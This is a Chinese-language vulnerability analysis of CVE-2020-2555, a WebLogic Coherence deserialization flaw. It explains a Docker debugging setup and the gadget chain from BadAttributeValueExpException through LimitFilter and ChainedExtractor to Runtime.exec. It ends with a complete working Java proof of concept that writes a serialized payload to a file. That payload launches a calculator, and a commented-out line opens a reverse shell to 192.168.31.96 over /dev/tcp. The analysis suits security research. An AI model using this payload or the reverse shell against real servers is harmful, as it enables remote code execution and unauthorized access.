搭建
第一次调 weblogic,饶了一大圈 Orz
推荐:https://github.com/QAX-A-Team/WeblogicEnvironment
- 通过上面的项目直接生成 docker 并启动
- 从 docker 中拷贝
/u01/app/oracle/middleware/wlserver/
&/u01/app/oracle/middleware/coherence/
出来 - 从 idea 打开 wlserver,将其下
moudules
&server/lib
加入 Libraries 中 - 将 coherence 目录下 lib 同样加入 Libraries
- 添加 remote,启动 debug
POP Chain
分析
关键利用点com.tangosol.util.filter.LimitFilter#toString
(如果分析过 commons-collections,可能对这里可以很熟悉),这里 m_comparator、m_oAnchorTop均可控,下一步就是看能否有可利用的 extract 函数来进一步发挥
在com.tangosol.util.extractor.ReflectionExtractor#extract
中,可以看到调用了 invoke(这熟悉的味道,难道没有想到 commons-collections 中的 tranform 么)
即我们可以通过反射执行命令,但需要一条反射链才能从头到尾执行恶意命令(再次回想ChainedTransformer)
这时关注到com.tangosol.util.extractor.ChainedExtractor#extract
,主要在第一步调用时需要传入Runtime.class
就可以组成一条完整的调用链,而从LimitFilter
传过来m_oAnchorTop
的又是可控的
现在命令执行部分已经构造完成,我们需要的是反序列化入口到达LimitFilter#toString
这里又用到了javax.management.BadAttributeValueExpException#BadAttributeValueExpException
(又是熟悉的味道,细看commons-collections 5),注意到初始化时需要赋值为 null,再通过反射设置,否则会直接触发toString
方法
POC
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
public class cve_2020_2555 {
public static void main(String[] args) throws Exception {
// ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec(new String[]{""});
ReflectionExtractor[] reflectionExtractors = {
new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[0]}
),
new ReflectionExtractor(
"exec",
new Object[]{new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}}
// new Object[]{new String[]{"/bin/sh", "-c", "/bin/sh -i &> /dev/tcp/192.168.31.96/12345 0<&1"}}
)
};
ChainedExtractor chainedExtractor = new ChainedExtractor(reflectionExtractors);
// chainedExtractor.extract(Runtime.class);
LimitFilter limitFilter = new LimitFilter();
limitFilter.setComparator(chainedExtractor);
limitFilter.setTopAnchor(Runtime.class);
// limitFilter.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
Serializer.serialize(badAttributeValueExpException);
// Serializer.deserialize();
}
}
class Serializer {
public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("payload.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize() throws IOException, ClassNotFoundException {
FileInputStream ios = new FileInputStream("java.bin");
ObjectInputStream ois = new ObjectInputStream(ios);
ois.readObject();
}
}